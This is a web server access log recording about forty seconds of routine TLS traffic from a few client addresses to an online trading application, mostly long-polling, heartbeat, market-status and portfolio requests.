[09/Jan/2026:11:55:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931224898 HTTP/1.1" -
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931227193 HTTP/1.1" -
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931227567 HTTP/1.1" -
[09/Jan/2026:11:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1543
[09/Jan/2026:11:55:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931228154 HTTP/1.1" -
[09/Jan/2026:11:56:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931229224 HTTP/1.1" -
[09/Jan/2026:11:56:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931229304 HTTP/1.1" -
[09/Jan/2026:11:56:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931230176 HTTP/1.1" -
[09/Jan/2026:11:56:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931229924 HTTP/1.1" -
[09/Jan/2026:11:56:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931232255 HTTP/1.1" -
[09/Jan/2026:11:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931232622 HTTP/1.1" -
[09/Jan/2026:11:56:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931233217 HTTP/1.1" -
[09/Jan/2026:11:56:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931234365 HTTP/1.1" -
[09/Jan/2026:11:56:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931234395 HTTP/1.1" -
[09/Jan/2026:11:56:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931235225 HTTP/1.1" -
[09/Jan/2026:11:56:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931235003 HTTP/1.1" -
[09/Jan/2026:11:56:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931237312 HTTP/1.1" -
[09/Jan/2026:11:56:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931237677 HTTP/1.1" -
[09/Jan/2026:11:56:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931238286 HTTP/1.1" -
[09/Jan/2026:11:56:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931239427 HTTP/1.1" -
[09/Jan/2026:11:56:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931239643 HTTP/1.1" -
[09/Jan/2026:11:56:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931240287 HTTP/1.1" -
[09/Jan/2026:11:56:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931240064 HTTP/1.1" -
[09/Jan/2026:11:56:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931242373 HTTP/1.1" -
[09/Jan/2026:11:56:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931243026 HTTP/1.1" -
[09/Jan/2026:11:56:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931243352 HTTP/1.1" -
[09/Jan/2026:11:56:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931244489 HTTP/1.1" -
[09/Jan/2026:11:56:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931244846 HTTP/1.1" -
[09/Jan/2026:11:56:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931245327 HTTP/1.1" -
[09/Jan/2026:11:56:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931245148 HTTP/1.1" -
[09/Jan/2026:11:56:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931247427 HTTP/1.1" -
[09/Jan/2026:11:56:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931248183 HTTP/1.1" -
[09/Jan/2026:11:56:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931248409 HTTP/1.1" -
[09/Jan/2026:11:56:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931249552 HTTP/1.1" -
[09/Jan/2026:11:56:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931250376 HTTP/1.1" -
[09/Jan/2026:11:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931250119 HTTP/1.1" -
[09/Jan/2026:11:56:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931250222 HTTP/1.1" -
[09/Jan/2026:11:56:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931252492 HTTP/1.1" -
[09/Jan/2026:11:56:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931253349 HTTP/1.1" -
[09/Jan/2026:11:56:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931253471 HTTP/1.1" -
[09/Jan/2026:11:56:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931254611 HTTP/1.1" -
[09/Jan/2026:11:56:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931255403 HTTP/1.1" -
[09/Jan/2026:11:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931255310 HTTP/1.1" -
[09/Jan/2026:11:56:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931255254 HTTP/1.1" -
[09/Jan/2026:11:56:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931257561 HTTP/1.1" -
[09/Jan/2026:11:56:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931258472 HTTP/1.1" -
[09/Jan/2026:11:56:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931258525 HTTP/1.1" -
[09/Jan/2026:11:56:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931259677 HTTP/1.1" -
[09/Jan/2026:11:56:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931260423 HTTP/1.1" -
[09/Jan/2026:11:56:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931260512 HTTP/1.1" -
[09/Jan/2026:11:56:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931260290 HTTP/1.1" -
[09/Jan/2026:11:56:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931262625 HTTP/1.1" -
[09/Jan/2026:11:56:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931263627 HTTP/1.1" -
[09/Jan/2026:11:56:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931263587 HTTP/1.1" -
[09/Jan/2026:11:56:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931264738 HTTP/1.1" -
[09/Jan/2026:11:56:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931265459 HTTP/1.1" -
[09/Jan/2026:11:56:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931265593 HTTP/1.1" -
[09/Jan/2026:11:56:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931265329 HTTP/1.1" -
